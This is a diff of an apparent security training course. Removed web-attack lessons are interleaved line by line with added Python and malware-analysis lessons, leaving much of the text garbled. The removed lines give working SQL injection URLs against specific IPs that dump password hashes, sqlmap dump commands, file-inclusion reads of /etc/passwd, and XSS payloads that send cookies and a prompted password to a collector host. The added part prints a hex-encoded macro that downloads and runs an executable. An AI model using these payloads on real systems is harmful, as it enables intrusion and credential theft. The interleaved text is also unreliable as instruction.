         print "Eg: ./rootbrute.py words.txt\n"
         sys.exit(1)
 
 try:
         words = open(sys.argv[1], "r").readlines()
 except(IOError):
         print "\nError: Check your wordlist path\n"
         sys.exit(1)
 
 print "\n[+] Loaded:",len(words),"words"
 print "[+] BruteForcing...\n"
 for word in words:
         brute(word.replace("\n",""))
-Create a file that contains the following data:
+
 
 -----------------------------------------------------------------------
 
 
 References you might find helpful:
 http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
 
 
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 
 
 wget https://s3.amazonaws.com/infosecaddictsfiles/md5crack.py
 
-f=open('file.txt', "r")
+
 
-str = f.read()
+
 -----------------------------------------------------------------------
 
 
 
 
 Why use hexdigest
 http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
 
 
 
 
 http://md5online.net/
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 
-NOTE: You can put any website URL that you want in the urllib2.urlopen('')
+
 wget https://s3.amazonaws.com/infosecaddictsfiles/wpbruteforcer.py
 
 
 -----------------------------------------------------------------------
 
-# Day 2 Homework videos to watch #
+
 
-Here is your first set of youtube videos that I'd like for you to watch:
+
-https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
+# Lesson 29: Functions #
 ########################
 
 
 ***********************
 * What are Functions? *
 ***********************
 
 
-                            ###############################################################
+
------------ ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
+
-                            ###############################################################
+
 
 Python makes use of blocks.
-# Basic: Web Application Testing #
+
 A block is a area of code of written in the format of:
 
-Most people are going to tell you reference the OWASP Testing guide.
+
-https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
+
       1st block line
-I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
+
       2nd block line
 
-The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
+
-
+
-    1. Does the website talk to a DB?
+
-        - Look for parameter passing (ex: site.com/page.php?id=4)
+
-        - If yes - try SQL Injection
+
 Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
-    2. Can I or someone else see what I type?
+
-        - If yes - try XSS
+
     print("Hello From My Function!")
-    3. Does the page reference a file?
+
-        - If yes - try LFI/RFI
+
 Functions may also receive arguments (variables passed from the caller to the function). For example:
-Let's start with some manual testing against 45.63.104.73
+
 def my_function_with_args(username, greeting):
     print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
-#######################
+
-# Attacking PHP/MySQL #
+
-#######################
+
 
-Go to LAMP Target homepage
+
-http://45.63.104.73/
+
 
 
 ****************************************
-Clicking on the Acer Link:
+
-http://45.63.104.73/acre2.php?lap=acer
+
 
-    - Found parameter passing (answer yes to question 1)
+
-    - Insert ' to test for SQLI
+
 # Define our 3 functions
 ---------------------------Paste This-----------------------------------
 
-http://45.63.104.73/acre2.php?lap=acer'
+
     print("Hello From My Function!")
 
 def my_function_with_args(username, greeting):
-Page returns the following error:
+
-You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
+
 def sum_two_numbers(a, b):
     return a + b
 
-In order to perform union-based sql injection - we must first determine the number of columns in this query.
+
-We do this using the ORDER BY
+
 
 #prints - "Hello, Joe, From My Function!, I wish you a great year!"
 my_function_with_args("Joe", "a great year!")
-http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
+
 # after this line x will hold the value 3!
 x = sum_two_numbers(1,2)
-Page returns the following error:
+
-Unknown column '100' in 'order clause'
+
 
 ************
 * Exercise *
 ************
-http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
+
 In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
 
-Page returns the following error:
+
-Unknown column '50' in 'order clause'
+
 Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
 
 Run and see all the functions work together!
 
-http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
+
 ---------------------------Paste This-----------------------------------
 
-Page returns the following error:
+
-Unknown column '25' in 'order clause'
+
     pass
 
 # Modify this function to concatenate to each benefit - " is a benefit of functions!"
 def build_sentence(benefit):
-http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
+
 
 def name_the_benefits_of_functions():
-Page returns the following error:
+
-Unknown column '12' in 'order clause'
+
         print(build_sentence(benefit))
 
 name_the_benefits_of_functions()
 
-http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
+
 -----------------------------------------------------------------------
 
----Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
+
 
 
 #####################################
-Now we build out the union all select statement with the correct number of columns
+# Lesson 30: Python Lambda Function #
 #####################################
 
-http://www.techonthenet.com/sql/union.php
+
 Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
 
 lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
 
-http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
+
 
 Consider a function multiply()
 
 def multiply(x, y):
-Now we negate the parameter value 'acer' by turning into the word 'null':
+
 
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
+
 
 To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
-We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
+
 ---------------------------Type This-----------------------------------
 
-Use a cheat sheet for syntax:
+
-http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
+
 36
 -----------------------------------------------------------------------
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
+
 
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
+
 12
 -----------------------------------------------------------------------
-http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
+
 Note that lambda function can’t contain more than one expression.
 
 
 
 #############################
-# Question I get a lot #
+# Lesson 31: Python Classes #
 #############################
-Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
+
 
-Here is a good reference for it:
+
-https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
+
 ****************
-Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
+
 Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
 
 You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
 
-#########################
+
-# File Handling Attacks #
+
-#########################
+
 ***********************
-Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
+
 
 This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
 
-http://45.63.104.73/showfile.php?filename=about.txt
+
 
 What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
 
 So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
-See if you can read files on the file system:
+
 
 ******************
-http://45.63.104.73/showfile.php?filename=/etc/passwd
+
 ******************
 
-We call this attack a Local File Include or LFI.
+
 Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
-Now let's find some text out on the internet somewhere:
+
-https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
+
 
 class WebVulnScanner(object):
-Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
+
     model = '10.5'
     year = '2014'
     version ='Consultant Edition'
-http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
+
     profile = 'High Risk'
 
-#########################################################################################
+
-# SQL Injection                                                                         #
+
-# http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
+
-#########################################################################################
+
 
     def scanning(self, speed):
-- Another quick way to test for SQLI is to remove the paramter value
+
 -----------------------------------------------------------------------
 
 
-# Error-Based SQL Injection #
+
 
 From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
 
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
+
 print("Your %s is crawling at %s" % (self.model, speed))
 -----------------------------------------------------------------------
 
 It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
 
 
-# Union-Based SQL Injection #
+
 * Using A Class *
 *****************
 
 
-http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
+
-http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
+
-http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
+
 ---------------------------Type This-----------------------------------
 
-    We are using a union select statement because we are joining the developer's query with one of our own.
+
-    Reference:
+
-    http://www.techonthenet.com/sql/union.php
+
-    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
+
-    It removes duplicate rows between the various SELECT statements.
+
 
-    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
+
 -----------------------------------------------------------------------
 
 What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
+
 
 print("The profile of my scanner settings is %s" % myscanner.profile)
-    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
+
 print("The profile of my scanner settings is %s" % myscanner.profile)
 -----------------------------------------------------------------------
 
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
+
-http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
+
 print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
 -----------------------------------------------------------------------
 
 That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
 
 
-- Another way is to see if you can get the backend to perform an arithmetic function
+
 # The self variable in python explained #
 #########################################
 
-http://45.77.162.239/bookdetail.aspx?id=(2)
+
-http://45.77.162.239/bookdetail.aspx?id=(4-2)
+
-http://45.77.162.239/bookdetail.aspx?id=(4-1)
+
 
 So here is our class:
 ---------------------------Paste This-----------------------------------
-http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
+
-http://45.77.162.239/bookdetail.aspx?id=1*1
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
+
-http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
+
-http://45.77.162.239/bookdetail.aspx?id=2 &0#
+
 
 First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
 
-http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
+
-http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
+
-http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
+
-http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
+
 
 x = port()
 -----------------------------------------------------------------------
 
 Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
-# Blind SQL Injection Testing #
+
 
-Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
+
 -----------------------------------------------------------------------
-3 - Total Characters
+
 The above command is same as:
 ---------------------------Type This-----------------------------------
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
+
 
 Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
-Let's go for a quick check to see if it's DBO
+
 
 >>> x = port()
 >>> x.open
-http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
+
 >>> y = port()
 >>> y.open = True
-Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
+
 True
 >>> x.open
 False
-D  - 1st Character
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
+
 
-B - 2nd Character
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
         if not this.open:
-O - 3rd Character
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
+
-http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
+
 ###############################
 # Lesson 32: Malware Analysis #
 ###############################
 
 
 
- ##########
+
-# Sqlmap #
+
-##########
+
-If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
+
 You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
-  ---------------------------Type This-----------------------------------
+
 
-cd /home/strategicsec/toolz/sqlmap-dev/
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
+
-python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
+
 
 unzip oledump_V0_0_22.zip
 
-###############################################################################
+wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
-# What is XSS                                                                 #
+
-# http://45.63.104.73/2-Intro_To_XSS.pptx             #
+
-###############################################################################
+
 
-OK - what is Cross Site Scripting (XSS)
+
 
-1. Use Firefox to browse to the following location:
+
 -----------------------------------------------------------------------
 
-    http://45.63.104.73/xss_practice/
+
 - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
 
-    A really simple search page that is vulnerable should come up.
+
 
 python oledump.py 064016.doc -s A5 -v
 -----------------------------------------------------------------------
 
-2. In the search box type:
+
 
 ---------------------------Type This-----------------------------------
-    <script>alert('So this is XSS')</script>
+
 python oledump.py 064016.doc -s A3 -v
  -----------------------------------------------------------------------
 
-    This should pop-up an alert window with your message in it proving XSS is in fact possible.
+
-    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
 
-3. In the search box type:
+
 http://www.rapidtables.com/convert/number/hex-to-ascii.htm
-
+
-    <script>alert(document.cookie)</script>
+
 
 ##############################
 # Lesson 33: Static Analysis #
-    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
+##############################
-    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
+
 - After logging please open a terminal window and type the following commands:
-4. Now replace that alert script with:
+
 
 cd Desktop/
-    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
+
 wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
 
 unzip wannacry.zip
-This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
+
 
 file wannacry.exe
-5. Now view the stolen cookie at:
+
 mv wannacry.exe malware.pdf
 
-    http://45.63.104.73/xss_practice/cookie_stealer_logs.html
+
 
 mv malware.pdf wannacry.exe
 
-The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
+
 
 -----------------------------------------------------------------------
 
 
 
 ***What is '4d 5a' or 'MZ'***
 Reference:
-# A Better Way To Demo XSS #
+
 
 
 
-Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
+
 
 
-Use Firefox to browse to the following location:
+
 
 strings wannacry.exe
-    http://45.63.104.73/xss_practice/
+
 strings --all wannacry.exe | head -n 6
 
 strings wannacry.exe | grep -i dll
 
-Paste this in the search box
+
-----------------------------
+
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
-<script>
+
-password=prompt('Your session is expired. Please enter your password to continue',' ');
+
-document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
+
-</script>
+
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
-Now view the stolen cookie at:
+
 strings wannacry.exe | grep -i irc
 
-    http://45.63.104.73/xss_practice/passwords.html
+
 
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 
-# Lesson 25: Python Functions & String Handling #
+
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
 
 Reference
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 - Yara Rule -
 
 
 Strings:
 $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
 $s2 = “Wanna Decryptor” wide ascii nocase
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
 
 
 
-TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
+
 
 
 
 Ok, let's look for the individual strings
 
 ---------------------------Type This-----------------------------------
 
 
 strings wannacry.exe | grep -i ooops
 
 strings wannacry.exe | grep -i wanna
 
 strings wannacry.exe | grep -i wcry
 
 strings wannacry.exe | grep -i wannacry
 
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 
 
 -----------------------------------------------------------------------
 
 
 
 
 
 ###############################################
 # Lesson 34: Tired of GREP - let's try Python #
 ###############################################
 Decided to make my own script for this kind of stuff in the future. I
 
 Reference1:
 https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
 
 This is a really good script for the basics of static analysis
-# Lesson 26: Password Cracking #
+
 Reference:
 https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
 
 
-wget http://45.63.104.73/htcrack.py
+
 
 
 Here is my own script using the signatures (started this yesterday, but still needs work):
 https://pastebin.com/guxzCBmP
 
 
 ---------------------------Type This-----------------------------------
 
 
 sudo apt install -y python-pefile
      infosecaddicts
 
 
 
 wget https://pastebin.com/raw/guxzCBmP
 
 
 mv guxzCBmP am.py
 
 
 vi am.py
 
 python am.py wannacry.exe
 
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 ###################
 # Lesson 35: Yara #
 ###################
  ---------------------------Type This-----------------------------------
 
 cd ~/Desktop
 
 sudo apt-get remove -y yara
      infosecaddcits
 
 sudo apt -y install libtool
      infosecaddicts
 
 wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
 
 
 unzip v3.6.0.zip
 
 cd yara-3.6.0
 
 ./bootstrap.sh
 
 ./configure
 
 make
 
 sudo make install
     infosecaddicts
 
 yara -v
 
 cd ~/Desktop
 
 
 -----------------------------------------------------------------------
 
 
 NOTE:
 McAfee is giving these yara rules - so add them to the hashes.txt file
 
 Reference:
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 ----------------------------------------------------------------------------
 rule wannacry_1 : ransom
 {
     meta:
         author = "Joshua Cannell"
         description = "WannaCry Ransomware strings"
         weight = 100
         date = "2017-05-12"
 
     strings:
         $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
         $s2 = "Wanna Decryptor" wide ascii nocase
         $s3 = ".wcry" wide ascii nocase
         $s4 = "WANNACRY" wide ascii nocase
         $s5 = "WANACRY!" wide ascii nocase
         $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
 
     condition:
         any of them
 }
 
 ----------------------------------------------------------------------------
 rule wannacry_2{
     meta:
         author = "Harold Ogden"
         description = "WannaCry Ransomware Strings"
         date = "2017-05-12"
         weight = 100
 
     strings:
-wget http://45.63.104.73/md5crack.py
+
         $string2 = "msg/m_chinese (simplified).wnry"
         $string3 = "msg/m_chinese (traditional).wnry"
         $string4 = "msg/m_croatian.wnry"
         $string5 = "msg/m_czech.wnry"
         $string6 = "msg/m_danish.wnry"
         $string7 = "msg/m_dutch.wnry"
         $string8 = "msg/m_english.wnry"
         $string9 = "msg/m_filipino.wnry"
         $string10 = "msg/m_finnish.wnry"
         $string11 = "msg/m_french.wnry"
         $string12 = "msg/m_german.wnry"
         $string13 = "msg/m_greek.wnry"
         $string14 = "msg/m_indonesian.wnry"
         $string15 = "msg/m_italian.wnry"
         $string16 = "msg/m_japanese.wnry"
         $string17 = "msg/m_korean.wnry"
         $string18 = "msg/m_latvian.wnry"
         $string19 = "msg/m_norwegian.wnry"
         $string20 = "msg/m_polish.wnry"
         $string21 = "msg/m_portuguese.wnry"
         $string22 = "msg/m_romanian.wnry"
         $string23 = "msg/m_russian.wnry"
         $string24 = "msg/m_slovak.wnry"
         $string25 = "msg/m_spanish.wnry"
-wget http://45.63.104.73/wpbruteforcer.py
+
         $string27 = "msg/m_turkish.wnry"
         $string28 = "msg/m_vietnamese.wnry"
 
 
     condition:
         any of ($string*)
-#############
+
-# Functions #
+
-#############
+
 
 ##################################
 # Lesson 36: External DB Lookups #
 ##################################
 
 Creating a malware database (sqlite)
 ---------------------------Type This-----------------------------------
 
 sudo apt install -y python-simplejson python-simplejson-dbg
     infosecaddicts
 
 
 
 wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
 
 
 
 python avsubmit.py -f wannacry.exe -e
 
 ----------------------------------------------------------------------------
 
 Analysis of the file can be found at:
 http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
 
 
 
 
 
 
 
 
 
 ##########################################
 # Lesson 37: Creating a Malware Database #
 ##########################################
 Creating a malware database (mysql)
 -----------------------------------
 - Step 1: Installing MySQL database
 - Run the following command in the terminal:
 ---------------------------Type This-----------------------------------
 
 sudo apt install -y mysql-server
      infosecaddicts
 
 - Step 2: Installing Python MySQLdb module
 - Run the following command in the terminal:
 
 sudo apt-get build-dep python-mysqldb
      infosecaddicts
 
 sudo apt install -y python-mysqldb
      infosecaddicts
 
 Step 3: Logging in
 Run the following command in the terminal:
 
 mysql -u root -p                    (set a password of 'malware')
 
 - Then create one database by running following command:
 
 create database malware;
 
 exit;
 
 wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
 
 vi mal_to_db.py                     (fill in database connection information)
 
 python mal_to_db.py -i
 
 ------- check it to see if the files table was created ------
 
 mysql -u root -p
     malware
 
 show databases;
 
 use malware;
 
 show tables;
 
 describe files;
 
 exit;
 
 -----------------------------------------------------------------------
 
 
 - Now add the malicious file to the DB
 ---------------------------Type This-----------------------------------
 
 
 python mal_to_db.py -f wannacry.exe -u
 
 -----------------------------------------------------------------------
 
 
 - Now check to see if it is in the DB
 --------------------------Type This-----------------------------------
 
 mysql -u root -p
     malware
 
 mysql> use malware;
 
 select id,md5,sha1,sha256,time FROM files;
 
 mysql> quit;
 
-Please download this file to your Windows host machine, and extract it to your Desktop.
+
-http://45.63.104.73/ED-Workshop-Files.zip
+
 
 
 #################################################
 # Lesson 39: PCAP Analysis with forensicPCAP.py #
 #################################################
-###########################
+
-# Lab 1a: Stack Overflows #
+
-###########################
+
 wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
-    #############################
+
-    # Start WarFTPd             #
+
-    # Start WinDBG              #
+
-    # Press F6                  #
+
-    # Attach to war-ftpd.exe    #
+
-    #############################
+
 
 Prints stats about PCAP
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
